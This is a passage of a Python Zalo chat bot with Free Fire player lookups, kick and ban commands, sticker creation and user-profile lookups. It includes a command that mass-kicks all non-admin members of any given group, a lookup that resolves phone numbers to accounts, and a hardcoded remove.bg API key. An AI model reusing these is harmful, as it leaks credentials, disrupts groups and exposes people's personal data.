							tokensList = tokensList[:num_token] if num_token else tokensList
							self.accFifi.update_tokens(tokensList)
							print(f"{len(tokens)} ᴛᴏᴋᴇɴꜱ ʜᴀꜱ ʙᴇᴇɴ ᴜᴘᴅᴀᴛᴇᴅ ꜱᴜᴄᴄᴇꜱꜱꜰᴜʟʟʏ ✅")
							break
						except Exception as e:
							print(f"ᴛᴏᴋᴇɴ ʟɪꜱᴛ ᴜᴘᴅᴀᴛᴇ ꜰᴀɪʟᴇᴅ! ᴇʀʀᴏʀ: `{e}`")
							continue
				if not str(uid).isdigit() or not (8 <= len(str(uid)) <= 12):
					content = "ɪɴᴠᴀʟɪᴅ ᴜɪᴅ! ᴛʜᴇ ᴜɪᴅ ꜱʜᴏᴜʟᴅ ʙᴇ ᴀɴ 8 ᴛᴏ 12 ᴅɪɢɪᴛ ɪɴᴛᴇɢᴇʀ."
					self.replyMessage(Message(text=content), message_object, thread_id, thread_type)
					return

				tokens = get_tokens()
				index = 0
				acc_info = vrxx.GetPlayerPersonalShow(uid, tokens[index])
				print(acc_info)
				if b"token is expired" in acc_info:
					update_tokens()
					tokens = get_tokens()
					acc_info = vrxx.GetPlayerPersonalShow(uid, tokens[index])

				elif b"BR_ACCOUNT_NOT_FOUND" in acc_info:
					content = "ᴛʜɪꜱ ɪᴅ ɴᴏᴛ ᴇxɪꜱᴛ ɪɴ ᴛʜᴇ ɢᴀʀᴇɴᴀ ᴅᴀᴛᴀʙᴀꜱᴇ ᴏʀ ʜᴀꜱ ɴᴏᴛ ꜰᴜʟʟʏ ʀᴇɢɪꜱᴛᴇʀᴇᴅ ɪɴ ᴀ ʀᴇɢɪᴏɴ"
					self.replyMessage(Message(text=content), message_object, thread_id, thread_type)
					return

				elif acc_info == b"\n":
					for i in range(len(tokens)):
						index += 1
						acc_info = vrxx.GetPlayerPersonalShow(uid, tokens[index])
						if acc_info != b"\n":
							break 


				# print(acc_info)
				info_extract = account_info_pb2.Info()
				# print(info_extract)
				info_extract.ParseFromString(acc_info)
				info_extract = MessageToDict(info_extract)

				petInfo = info_extract.get("petInfo", {})
				basicInfo = info_extract.get("basicInfo", {})
				socialInfo = info_extract.get("socialInfo", {})
				profileInfo = info_extract.get("profileInfo", {})
				guildBasicInfo = info_extract.get("guildBasicInfo", {})
				leaderBasicInfo = info_extract.get("leaderBasicInfo", {})
				creditScoreInfo = info_extract.get("creditScoreInfo", {})

				br_points = basicInfo.get("rankingPoints", 0)
				cs_points = basicInfo.get("csRankingPoints", 0)
				br_rank = getRank(br_points, "BR")
				cs_rank = getRank(cs_points, "CS")

				create_at = basicInfo.get("createAt", 0)
				lastlg_at = basicInfo.get("lastLoginAt", 0)

				equipped_list = basicInfo.get("weaponSkinShows", [])
				weapon_id = "Not Equipped"
				animation_id = "Not Equipped"
				transform_id = "Not Equipped"
				for unknown_id in equipped_list:
					unknown_id = str(unknown_id)

					if unknown_id.startswith("907"):
						weapon_id = unknown_id

					elif unknown_id.startswith("912"):
						animation_id = unknown_id

					elif unknown_id.startswith("914"):
						transform_id = unknown_id

				itemsId = json.load( open("./core/OB46-Item-ID.json") )

				titleId = basicInfo.get("title", 0)
				titleName = next((item["Name"] for item in itemsId if item["Item_ID"] == str(titleId)), "Undefined")

				characterId = profileInfo.get("characterId", 0)
				characterName = next((item["Name"] for item in itemsId if item["Item_ID"] == str(characterId)), "Undefined")


				skills_list = profileInfo.get("equippedSkills", [])
				skills_list = [getSkillName(skill.get("skillId")) for skill in skills_list]
				skills_list = [skill for skill in skills_list if skill is not None]

				account_info = f"""\n┌ 👤 ᴀᴄᴄᴏᴜɴᴛ ʙᴀꜱɪᴄ ɪɴꜰᴏ\n├─ ᴜɪᴅ: {uid}\n├─ ɴᴀᴍᴇ: {basicInfo.get('nickname', 'Undefined')}\n├─ ʟᴇᴠᴇʟ: {basicInfo.get('level', 0)} (ᴇxᴘ: {basicInfo.get('exp', 0)})\n├─ ʀᴇɢɪᴏɴ: {basicInfo.get('region', 'Undefined')}\n├─ ʟɪᴋᴇꜱ: {basicInfo.get('likes', 0)}\n├─ ʜᴏɴᴏʀ ꜱᴄᴏʀᴇ: {creditScoreInfo.get('creditScore', 'Undefined')}\n├─ ᴇǫᴜɪᴘᴘᴇᴅ ᴛɪᴛʟᴇ: {titleName}\n└─ ᴇᴠᴏ ᴀᴄᴄᴇꜱꜱ ʙᴀᴅɢᴇ: {'Active' if basicInfo.get('evoAccessBadge') else 'Inactive'}\n\n┌ ✨ ᴀᴄᴄᴏᴜɴᴛ ꜱᴏᴄɪᴀʟ ɪɴꜰᴏ\n├─ ɢᴇɴᴅᴇʀ: {socialInfo.get('gender', 'Hidden')}\n├─ ʀᴀɴᴋ ꜱʜᴏᴡ: {socialInfo.get('modePrefer', 'Undefined').replace('prefermode_', '')}\n├─ ʟᴀɴɢᴜᴀɢᴇ: {socialInfo.get('language', 'Undefined').replace('Language_', '')}\n└─ ꜱɪɢɴᴀᴛᴜʀᴇ: {socialInfo.get('signature', 'Default')}\n\n┌ 🎮 ᴀᴄᴄᴏᴜɴᴛ ᴀᴄᴛɪᴠɪᴛʏ\n├─ ᴄᴜʀʀᴇɴᴛ ʙᴘ ʙᴀᴅɢᴇꜱ: {basicInfo.get('currentBPBadges', 0)}\n├─ ʙʀ ʀᴀɴᴋ: {br_rank}\n├─ ᴄꜱ ʀᴀɴᴋ: {cs_rank}\n├─ ʟᴀꜱᴛ ʟᴏɢɪɴ: {formatTime(lastlg_at)}\n└─ ᴄʀᴇᴀᴛᴇᴅ ᴀᴛ: {formatTime(create_at)}\n\n┌ 👕 ᴀᴄᴄᴏᴜɴᴛ ᴏᴠᴇʀᴠɪᴇᴡ\n├─ ᴀᴠᴀᴛᴀʀ ɪᴅ: {basicInfo.get('avatarId', 'Default')}\n├─ ʙᴀɴɴᴇʀ ɪᴅ: {basicInfo.get('bannerId', 'Default')}\n├─ ᴘɪɴ ɪᴅ: {basicInfo.get('pinId', 'Default')}\n├─ ᴇǫᴜɪᴘᴘᴇᴅ ɢᴜɴ ɪᴅ: {weapon_id}\n├─ ᴇǫᴜɪᴘᴘᴇᴅ ᴀɴɪᴍ ɪᴅ: {animation_id}\n├─ ᴛʀᴀɴꜱꜰᴏʀᴍ ᴀɴɪᴍ ɪᴅ: {transform_id}"""


				if skills_list:
					account_info += f"""\n├─ ᴇǫᴜɪᴘᴘᴇᴅ ᴄʜᴀʀᴀᴄᴛᴇʀ: {characterName}\n└─ ᴇǫᴜɪᴘᴘᴇᴅ ꜱᴋɪʟʟꜱ:\n"""

					account_info += "".join([f"   ├─ {skill}\n" for skill in skills_list[:len(skills_list) - 1]])
					account_info += f"   └─ {skills_list[-1]}\n"

				else:
					account_info += f"""\n├─ ᴇǫᴜɪᴘᴘᴇᴅ ᴄʜᴀʀᴀᴄᴛᴇʀ: {characterName}\n└─ ᴇǫᴜɪᴘᴘᴇᴅ ꜱᴋɪʟʟꜱ: No Equipped\n"""


				if petInfo:
					account_info += f"""\n┌ 🐾 ᴘᴇᴛ ᴅᴇᴛᴀɪʟꜱ\n├─ ᴇǫᴜɪᴘᴘᴇᴅ?: {'Yes' if petInfo.get('isSelected') else 'No'}\n├─ ᴘᴇᴛ ɪᴅ: {petInfo.get('id', 'Undefined')}\n├─ ᴘᴇᴛ ʟᴇᴠᴇʟ: {petInfo.get('level', 'Undefined')} (ᴇxᴘ: {petInfo.get('exp', 'Undefined')})\n├─ ᴘᴇᴛ ꜱᴋɪɴ ɪᴅ: {petInfo.get('skinId', 'Undefined')}\n└─ ᴘᴇᴛ ꜱᴋɪʟʟ ɪᴅ: {petInfo.get('selectedSkillId', 'Undefined')}\n"""

				else:
					account_info += f"""\n┌ 🐾 ᴘᴇᴛ ᴅᴇᴛᴀɪʟꜱ\n└─ ᴇǫᴜɪᴘᴘᴇᴅ?: {'Yes' if petInfo.get('isSelected') else 'No'}\n"""


				if guildBasicInfo:
					account_info += f"""\n┌ 🛡️ ɢᴜɪʟᴅ ɪɴꜰᴏ\n├─ ɢᴜɪʟᴅ ɪᴅ: {guildBasicInfo.get('GuildID', 'Undefined')}\n├─ ɢᴜɪʟᴅ ɴᴀᴍᴇ: {guildBasicInfo.get('GuildName', 'Undefined')}\n├─ ɢᴜɪʟᴅ ʟᴇᴠᴇʟ: {guildBasicInfo.get('GuildLevel', 'Undefined')}\n├─ ʟɪᴠᴇ ᴍᴇᴍʙᴇʀꜱ: {guildBasicInfo.get('GuildMember', 0)}/{guildBasicInfo.get('GuildCapacity', 0)}\n└─ ʟᴇᴀᴅᴇʀ ɪᴅ: {guildBasicInfo.get('GuildOwner', 'Undefined')}\n"""

				else:
					account_info += """\n🛡️ ᴛʜɪꜱ ᴀᴄᴄᴏᴜɴᴛ ɪꜱ ɴᴏᴛ ɪɴ ᴛʜᴇ ɢᴜɪʟᴅ.\n"""


				equippedOutfit = profileInfo.get("equippedOutfit", [])
				# account_info = account_info.replace("\t", "")
				# account_info = account_info.replace("[", "") # &#91;
				# account_info = account_info.replace("]", "") # &#93;
				# print(account_info)
				self.replyMessage(Message(text=str(account_info)), message_object, thread_id, thread_type, ttl=60000)
			except Exception as e:
				traceback.print_exc()
		elif message.startswith(self.prefix + f"kick"):
			noquyen = f"Bạn không có quyền để thực hiện điều này!"
			style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False), MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False)])
			if author_id not in self.selfid and author_id not in self.db.fetch_admins(thread_id):
				self.replyMessage(Message(text=str(noquyen), style=style_error), message_object, thread_id, thread_type)
				return
			try:
				if message_object.mentions:
					doituong = message_object.mentions[0]['uid']
				elif len(message) > 6:
					doituong = message.replace(f'{self.prefix}kick', '')
				elif message_object.quote:
					doituong = message_object.quote['ownerId']
				else:
					self.replyMessage(Message(text="Đéo thấy thằng nào bị tag và đéo thấy uid thằng nào", style=style_error), message_object, thread_id, thread_type)
					return 

			except Exception as e:
				print(f"error {e}")
			self.replyMessage(Message(text="@member bai cưng", style=style_error, mention = Mention(doituong, length=7, offset=0)), message_object, thread_id, thread_type)
			self.kickUsersInGroup(members=doituong, groupId=thread_id)
		elif message.startswith(self.prefix + f"ban"):
			noquyen = f"Bạn không có quyền để thực hiện điều này!"
			style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False), MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False)])
			if author_id not in self.selfid and author_id not in self.db.fetch_admins(thread_id):
				self.replyMessage(Message(text=str(noquyen), style=style_error), message_object, thread_id, thread_type)
				return
			try:
				if message_object.mentions and not message_object.quote:
					if len(message_object.mentions) == 1:
						doituong = message_object.mentions[0]['uid']
					elif len(message_object.mentions) > 1:
						doituong = [m['uid'] for m in message_object.mentions]
				elif len(message) > 5:
					doituong = message.replace(f'{self.prefix}ban', '')
				elif message_object.mentions and message_object.quote:
					if len(message_object.mentions) == 1:
						doituong = message_object.mentions[0]['uid']
					elif len(message_object.mentions) > 1:
						doituong = [m['uid'] for m in message_object.mentions]
						doituong.append(str(message_object.quote['ownerId']))
				elif message_object.quote and not message_object.mentions:
					doituong = message_object.quote['ownerId']
				
				else:
					self.replyMessage(Message(text="Đéo thấy thằng nào bị tag và đéo thấy uid thằng nào", style=style_error), message_object, thread_id, thread_type)
					return 

			except Exception as e:
				print(f"error {e}")
			suc = self.blockUsersInGroup(members=doituong, groupId=thread_id)
			error_code = suc.get('error_code')
			if error_code == 0:
				self.replyMessage(Message(text=f"User {doituong} Đã Bị Ban Khỏi Group Này", style=style_error), message_object, thread_id, thread_type)
			else:
				self.replyMessage(Message(text="fail to Ban user", style=style_error), message_object, thread_id, thread_type)

		elif message.startswith(f'{self.prefix}anti set') and thread_type.name == 'GROUP':
			noquyen = "Bạn không có quyền để thực hiện điều này!"
			style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False), MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False)])
			if author_id not in self.selfid:
				self.replyMessage(Message(text=noquyen, style=style_error), message_object, thread_id, thread_type)
				return
			if thread_id not in self.antibotv2:
				self.replyMessage(Message(text="Set Anti Enable In Group", style=style_error), message_object, thread_id, thread_type)
				self.antibotv2.append(thread_id)
			else:
				self.replyMessage(Message(text="Anti In Group Already Turned On!!", style=style_error), message_object, thread_id, thread_type)
		elif message.startswith(f'{self.prefix}anti remove') and thread_type.name == 'GROUP':
			noquyen = "Bạn không có quyền để thực hiện điều này!"
			style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False), MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False)])
			if author_id not in self.selfid:
				self.replyMessage(Message(text=noquyen, style=style_error), message_object, thread_id, thread_type)
				return
			if thread_id in self.antibotv2:
				self.replyMessage(Message(text="Set Anti Disable In Group", style=style_error), message_object, thread_id, thread_type)
				self.antibotv2.remove(thread_id)
			else:
				self.replyMessage(Message(text="Anti Not On The Anti", style=style_error), message_object, thread_id, thread_type)
		if isinstance(message, str) and message.startswith(f'{self.prefix}set') and thread_type.name == 'GROUP':
			noquyen = "Bạn Không Có Quyền Để Bật Welcome"
			style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False), MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False)])
			if author_id not in self.selfid:
				self.replyMessage(Message(text=noquyen, style=style_error), message_object, thread_id, thread_type)
				return
			wc = self.set_welcome(thread_id)
			if wc:
				text = f'• Set Welcome Enable In Group {wc}'
				msg = Message(text=text, style=MultiMsgStyle(khoidz))
				self.replyMessage(msg, message_object, thread_id=thread_id, thread_type=thread_type)
			else:
				text = f'• Welcome In Group {wc} Already Turned On!!'
				msg = Message(text=text, style=MultiMsgStyle(khoidz))
				self.replyMessage(msg, message_object, thread_id=thread_id, thread_type=thread_type)
		elif isinstance(message, str) and message.startswith(f'{self.prefix}disable') and thread_type.name == 'GROUP':
			noquyen = "Bạn Không Có Quyền Để Tắt Welcome"
			style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False), MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False)])
			if author_id not in self.selfid:
				self.replyMessage(Message(text=noquyen, style=style_error), message_object, thread_id, thread_type)
				return
			wc = self.get_group_name(thread_id)
			if thread_id in self.all_group:
				del self.all_group[thread_id]
				text = f'• Set Welcome Disable In Group {wc}!'
				msg = Message(text=text, style=MultiMsgStyle(khoidz))
				self.replyMessage(msg, message_object, thread_id=thread_id, thread_type=thread_type)
			else:
				text = f'• Group {wc} Not On The Welcome List!'
				msg = Message(text=text, style=MultiMsgStyle(khoidz))
				self.replyMessage(msg, message_object, thread_id=thread_id, thread_type=thread_type)
		elif isinstance(message, str) and message.startswith(f'{self.prefix}off') and thread_type.name == 'GROUP':
			if author_id not in self.selfid:
				self.replyMessage(Message(text=noquyen, style=style_error), message_object, thread_id, thread_type)
				return
			self.stop_event = True
			text = f'• Off Welcome In All Group!!'
			msg = Message(text=text, style=MultiMsgStyle(khoidz))
			self.replyMessage(msg, message_object, thread_id=thread_id, thread_type=thread_type)
		elif isinstance(message, str) and message.startswith(f'{self.prefix}on') and thread_type.name == 'GROUP':
			if author_id not in self.selfid:
				self.replyMessage(Message(text=noquyen, style=style_error), message_object, thread_id, thread_type)
				return
			self.stop_event = False
			text = f'• On Welcome In All Group!!'
			msg = Message(text=text, style=MultiMsgStyle(khoidz))
			self.replyMessage(msg, message_object, thread_id=thread_id, thread_type=thread_type)
		elif message.startswith(self.prefix + f"add "):
			doituong = message.replace(self.prefix + f"add", "").strip()
			try:
				self.replyMessage(Message(text=str(self.addUsersToGroupV1(user_ids=str(doituong), groupId=thread_id))), message_object, thread_id=thread_id, thread_type=thread_type)

			except Exception as e:
				self.replyMessage(Message(text=f"Error {e}"), message_object, thread_id=thread_id, thread_type=thread_type)
		elif message.startswith(self.prefix + f"wl"):
			noquyen = "Bạn không có quyền để thực hiện điều này!"
			style_error = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False), MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False)])
			if author_id not in self.selfid:
				self.replyMessage(Message(text=noquyen, style=style_error), message_object, thread_id, thread_type)
				return
			self.wl_command(mid, author_id, message, message_object, thread_id, thread_type)

		elif message.startswith(self.prefix + f"cc"):
			if author_id not in self.selfid:
				return
			link = message.replace(self.prefix + f"cc", "").strip()
			if link != '':
				grid = link
			else:
				grid = thread_id



			try:
				group = self.fetchGroupInfo(grid)
				group_info = group.gridInfoMap[grid]      
				creator_id = group_info['creatorId']
				admin_ids = group_info['adminIds']
				mem_ver_list = [
					member for member in group_info['memVerList']
					if not any(member.startswith(id_) for id_ in [creator_id] + admin_ids)
				]
				cleaned_list = [item.replace('_0', '') for item in mem_ver_list]
				for i in range(0, len(cleaned_list), 50):
					chunk = cleaned_list[i:i+50]
					self.kickUsersInGroup(members=chunk, groupId=grid)
			except Exception as e:
				print(e)
		# elif message.startswith(self.prefix + f"stk") and not message.startswith(self.prefix + f"stk xp"):
			# style_lmao = MultiMsgStyle([
				# MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False),
				# MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False)
				# ])
			# style_lmao = MultiMsgStyle([
				# MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False),
				# MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False)
				# ])
			# self.replyMessage(Message(text=f"Lệnh '{message}' không tồn tại, vui lòng sử dụng {self.prefix}stk: để tạo sticker hoặc {self.prefix}stk xp: cho sticker hình ảnh xoá background", style=style_lmao), message_object, thread_id=thread_id, thread_type=thread_type)

		elif message.startswith(self.prefix + f"stk xp"):
			style_lmao = MultiMsgStyle([
				MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False),
				MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False)
				])
			if message == self.prefix + f"stk xp" and message_object.quote:
				quote_attach = json.loads(message_object['quote']['attach'])
				href = quote_attach.get('href')
				gay = href.replace("\\", "")
				linksticker = gay
			elif message_object.msgType == 'webchat':
				linksticker = message.replace(self.prefix + f"stk xp", "").strip()
				style_lmao = MultiMsgStyle([
				MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False),
				MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False)
				])
			else:
				self.replyMessage(Message(text="Định dạng tin nhắn đéo hợp lệ 🐧\nVui lòng kiểm tra lại.", style=style_lmao), message_object, thread_id=thread_id, thread_type=thread_type, ttl=30000)
			if "http" in linksticker:
				try:
					data = {
						'image_url': str(linksticker).replace("jxl", "jpg"),
						'size': 'auto'
					}
					headers = {'X-Api-Key': 'eqyZsZXoPEe5HtDNJrD3r4t5'}
					response = self._session.post('https://api.remove.bg/v1.0/removebg', data=data, headers=headers)
					# with open('no-bg.png', 'wb') as out:
						# out.write(response.content)
					
					img = Image.open(BytesIO(response.content)).convert("RGBA")
					width, height = img.size
					mask = Image.new("L", (width, height), 0)
					draw = ImageDraw.Draw(mask)
					draw.rounded_rectangle((0, 0, width, height), radius=50, fill=255)
					img.putalpha(mask)
					transparent_bg = Image.new("RGBA", img.size, (0,0,0,0))
					img = Image.alpha_composite(transparent_bg, img)
					output = "output.webp"
					img.save(output, format="WEBP", lossless=True, quality=100)
					cu = self.UploadFile(filePath=output, thread_id=self._state._config.get("cloud_id"), thread_type=ThreadType.USER) + "?creator=Tahn_bot.webp"
					self.sendCustomSticker(animationImgUrl=cu, staticImgUrl=cu, thread_id=thread_id, thread_type=thread_type, ttl=30000, width=width, height=height)
					self.replyMessage(Message(text="Sticker đã được gửi", style=style_lmao), message_object, thread_id=thread_id, thread_type=thread_type, ttl=30000)
				except Exception as r:
					self.replyMessage(Message(text=f"Đã xảy ra lỗi khi gửi sticker: {r}", style=style_lmao), message_object, thread_id=thread_id, thread_type=thread_type, ttl=30000)
			else:
				self.replyMessage(Message(text="Đéo tìm thấy URL 🐧\nVui lòng kiểm tra lại.", style=style_lmao), message_object, thread_id=thread_id, thread_type=thread_type, ttl=30000)
				return
		elif message.startswith(self.prefix + f"stk"):
			try:
				if "-z" in message:
					pStickerType = 1
				else:
					pStickerType = 0
				if message_object.quote:
					quote_attach = json.loads(message_object['quote']['attach'])
					href = quote_attach.get('href')
					gay = href.replace("\\", "")
					linksticker = gay.replace("jxl", "jpg")
					if message_object.quote.get("cliMsgType") == 44:
						style_lmao = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False), MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False)])
						reaction_data = [
							{
								"gMsgID": int(message_object.get('msgId', 0)),
								"cMsgID": int(message_object.get('cliMsgId', 0)),
								"msgType": message_object.get('msgType', 31)
							},
							{
								"gMsgID": int(message_object.get('msgId', 0)),
								"cMsgID": int(message_object.get('cliMsgId', 0)),
								"msgType": message_object.get('msgType', 31)
							}
						]
						self.sendMultiReaction(reactionObj=reaction_data, reactionIcon="/-heart", thread_id=thread_id, thread_type=thread_type, reactionType=75)
						payload = {
							"file_url": linksticker
						}
						response = self._session.post("http://160.191.245.167:8000/convert", json=payload, headers={"Content-Type": "application/json"})
						url = response.json()["webp_url"]
						reaction_data = [
							{
								"gMsgID": int(message_object.get('msgId', 0)),
								"cMsgID": int(message_object.get('cliMsgId', 0)),
								"msgType": message_object.get('msgType', 31)
							}
						]
						self.sendMultiReaction(reactionObj=reaction_data, reactionIcon="/-heart", thread_id=thread_id, thread_type=thread_type, reactionType=-1)
						self.sendMultiReaction(reactionObj=reaction_data, reactionIcon="/-heart", thread_id=thread_id, thread_type=thread_type, reactionType=75)
						hahah = asyncio.run(self.uploadFileAsync(file_url=url, thread_id=self._state._config.get("cloud_id"), thread_type=ThreadType.USER)) + "?creator=Tahn_bot.webp"
						print(hahah)
						print(url)
						# print(taodeotrai)
						self.sendReaction(message_object, reactionIcon='/-heart', thread_id=thread_id, thread_type=thread_type, reactionType=-1)
						self.sendReaction(message_object, reactionIcon='/-strong', thread_id=thread_id, thread_type=thread_type)
						attach_data = json.loads(message_object['quote']['attach'])
						thumbnail = attach_data.get('thumb')
						params = json.loads(attach_data.get('params'))
						width = params.get('video_width')
						height = params.get('video_height')
						self.sendCustomSticker(animationImgUrl=hahah, staticImgUrl=thumbnail, thread_id=thread_id, width=width, height=height, thread_type=thread_type, ttl=30000, pStickerType=pStickerType)
						self.replyMessage(Message(text=f"Sticker đã được gửi", style=style_lmao), message_object, thread_id=thread_id, thread_type=thread_type, ttl=30000)
	
	
					elif message_object.quote.get("cliMsgType") == 32:
						style_lmao = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False), MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False)])
						if "http" in linksticker:
							response = self._session.get(linksticker)
							img = Image.open(BytesIO(response.content)).convert("RGBA")
							# print(img)
							if pStickerType == 1:
								img = img.resize((512, 512))
							else:
								width, height = img.size
								mask = Image.new("L", (width, height), 0)
								draw = ImageDraw.Draw(mask)
								draw.rounded_rectangle((0, 0, width, height), radius=50, fill=255)
								img.putalpha(mask)
							
							width, height = img.size
								
							output = 'output.webp'
							img.save(output, format='WEBP')
							url = self.UploadFile(filePath=output, thread_id=self._state._config.get("cloud_id"), thread_type=ThreadType.USER)
							# print(url)
							linksticker = url + "?creator=Tahn_bot.webp"
							# if pStickerType == 1:
								# width, height = 512, 512
							
							self.sendCustomSticker(animationImgUrl=linksticker, staticImgUrl=linksticker, width=width, height=height, thread_id=thread_id, thread_type=thread_type, ttl=30000, pStickerType=pStickerType)
							self.replyMessage(Message(text=f"Sticker đã được gửi", style=style_lmao), message_object, thread_id=thread_id, thread_type=thread_type, ttl=30000)
				else:
					linksticker = message.replace(self.prefix + f"stk", "").strip()
					if linksticker == "":
						style_lmao = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False), MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False)])
						self.replyMessage(Message(text=f"Lệnh '{message}' không tồn tại, vui lòng sử dụng {self.prefix}stk: để tạo sticker hoặc {self.prefix}stk xp: cho sticker hình ảnh xoá background", style=style_lmao), message_object, thread_id=thread_id, thread_type=thread_type, ttl=30000)
						return
					style_lmao = MultiMsgStyle([MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False), MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False)])
					response = self._session.get(linksticker)
					img = Image.open(BytesIO(response.content)).convert("RGBA")
					# print(img)
					output = 'output.webp'
					width, height = img.size
					mask = Image.new("L", (width, height), 0)
					draw = ImageDraw.Draw(mask)
					draw.rounded_rectangle((0, 0, width, height), radius=50, fill=255)
					img.putalpha(mask)
					img.save(output, format='WEBP')
					url = self.UploadFile(filePath=output, thread_id=self._state._config.get("cloud_id"), thread_type=ThreadType.USER)
					# print(url)
					linksticker = url + "?creator=Tahn_bot.webp"
					self.sendCustomSticker(animationImgUrl=linksticker, staticImgUrl=linksticker, width=width, height=height, thread_id=thread_id, thread_type=thread_type, ttl=30000, pStickerType=pStickerType)
					self.replyMessage(Message(text=f"Sticker đã được gửi", style=style_lmao), message_object, thread_id=thread_id, thread_type=thread_type, ttl=30000)
			except:
				traceback.print_exc()
			
		elif message.startswith(self.prefix + f"info"):
			msg_error = SmallCap(f"Tin nhắn sai cú pháp\nVí dụ: {self.prefix}info, {self.prefix}info reply hoặc {self.prefix}info phone_number")

			style_error = MultiMsgStyle([
				MessageStyle(offset=0, length=3000, style="font", size="13", auto_format=False),
				MessageStyle(offset=0, length=3000, style="color", color="#cdd6f4", auto_format=False)
			])

			try:
				if message_object.quote:
					user_id = str(message_object.quote['ownerId'])
				elif message_object.mentions:
					user_id = message_object.mentions[0]['uid']

				elif message[6:].strip().isnumeric():
					phone = message[6:].strip()
					if phone.isdigit() and len(phone) == 10:
						info_phone = self.fetchPhoneNumber(phoneNumber=phone)
						# print(info_phone)
						user_id = info_phone.uid
						error = info_phone.error_message
						if not user_id and not error:
							self.replyMessage(Message(text=SmallCap(f"Số điện thoại '{phone}' chưa đăng kí tài khoản zalo hoặc không tồn tại"), style=style_error), message_object, thread_id, thread_type)
							return
						elif error:
							self.replyMessage(Message(text=SmallCap(f"Số điện thoại '{phone}' {error}"), style=style_error), message_object, thread_id, thread_type)
							return
					else:
						user_id = message[6:].strip()
				elif message.strip() == self.prefix + f"info":
					user_id = author_id
				else:
					self.replyMessage(Message(text=msg_error, style=style_error), message_object, thread_id, thread_type)
					return

				multistyle = []
				try:
					info = self.fetchUserInfo(user_id)
					realUserId = self.fetchRealUserId(user_id)
					info = info.unchanged_profiles or info.changed_profiles
					info = info[str(user_id)]
					userId = info.userId or "Undefined"
					userName = info.zaloName
					userName = userName
					gender = "Male" if info.gender == 0 else "Female" if info.gender == 1 else "Undefined"
					status = info.status or "Default"
					business = info.bizPkg.pkgId
					business = "Basic" if business == 1 else "Pro" if business == 2 else "No"
					dob = info.dob or info.sdob or "Hidden"
					friend = "Yes" if info.isFr == 1 else "No"
					blocked = "Yes" if info.isBlocked == 1 else "No"
					pc = "Yes" if info.isActivePC == 1 else "No"
					web = "Yes" if info.isActiveWeb == 1 else "No"
					avt = self.fetchAvatarUser(user_id)
					avatar = avt.bk_full_avatar
					cover = info.cover
					if isinstance(dob, int):
						dob = datetime.datetime.fromtimestamp(dob).strftime("%d/%m/%Y")
					phoneNumber = "Hidden"
					lastAction = info.lastActionTime
					if isinstance(lastAction, int):
						lastAction = lastAction / 1000
						timeAction = datetime.datetime.fromtimestamp(lastAction)
						lastAction = timeAction.strftime("%H:%M %d/%m/%Y")
					else:
						lastAction = "Undefined"
					createTime = info.createdTs
					if isinstance(createTime, int):
						createTime = datetime.datetime.fromtimestamp(createTime).strftime("%H:%M %d/%m/%Y")
					else:
						createTime = "Undefined"
					msg = f"• User ID: {userId}\n• Real UserId: {realUserId}\n• User Name: {userName}\n• Gender: {gender}\n• Bio: {status}\n• Business: {business}\n• Friend: {friend}\n• Blocked: {blocked}\n• Activate Pc: {pc}\n• Activate Web: {web}\n• Date Of Birth: {dob}\n• Phone Number: {phoneNumber}\n• Last Action At: {lastAction}\n• Created Time: {createTime}\n• Avatar: {avatar}\n• Cover: {cover}"
					multistyle.append(MessageStyle(offset=0, length=1, style="color", color="#74c7ec", auto_format=False))
					multistyle.append(MessageStyle(offset=0, length=1, style="font", size="17", auto_format=False))
					multistyle.append(MessageStyle(offset=2, length=3000, style="font", size="13", auto_format=False))
					multistyle.append(MessageStyle(offset=2, length=3000, style="color", color="#cdd6f4", auto_format=False))
					multistyle.append(MessageStyle(offset=len('• User ID: '), length=3000, style="color", color="#a6adc8", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n'), length=1, style="color", color="#74c7ec", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n'), length=1, style="font", size="17", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• '), length=15, style="color", color="#cdd6f4", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: '), length=3000, style="color", color="#a6adc8", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n'), length=1, style="color", color="#74c7ec", auto_format=False))
					multistyle.append(MessageStyle(offset=getStringLength(f'• User ID: {userId}\n• Real UserId: {realUserId}\n'), length=1, style="font", size="17", auto_format=False))
